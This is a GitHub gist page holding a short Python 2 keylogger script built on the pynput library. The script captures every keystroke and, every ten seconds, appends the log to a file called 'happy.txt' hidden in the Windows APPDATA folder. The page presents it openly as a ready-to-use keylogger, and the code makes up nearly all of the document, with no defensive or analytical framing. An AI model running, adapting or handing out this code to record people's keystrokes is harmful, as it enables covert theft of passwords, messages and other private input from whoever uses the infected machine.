Skip to content

Instantly share code, notes, and snippets.

@davidlares
Last active March 6, 2020 21:17
Show Gist options
  • Save davidlares/74865adda94575858781f2387667c754 to your computer and use it in GitHub Desktop.
Save davidlares/74865adda94575858781f2387667c754 to your computer and use it in GitHub Desktop.
A Basic and direct txt file-based Keylogger script for Py2 w/ Pynput
#!/usr/bin/python
import pynput.keyboard
import threading
import os
# log variable
log = ""
# path
path = os.environ["appdata"] + "\\happy.txt"
def process(key):
# print for debug
global log
try:
# printing w/o u'
log = log + str(key.char)
except AttributeError:
# evaluating spaces abd arriws
if key == key.space:
log = log + ""
elif key == key.right:
log = log + "" # does nothing
elif key == key.left:
log = log + "" # does nothing
elif key == key.up:
log = log + "" # does nothing
elif key == key.down:
log = log + "" # does nothing
else:
# printing the Key.value
log = log + " " + str(key) + " "
def report():
global log, path
# opening file
file = open(path, "a")
# writing data
file.write(log)
# clearing the log
log = ""
# closing file
file.close()
# recursive call in Threads
timer = threading.Timer(10, report)
timer.start()
if __name__ == "__main__":
listener = pynput.keyboard.Listener(on_press=process) # generate the log file
with listener:
report()
listener.join() # attach keys
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment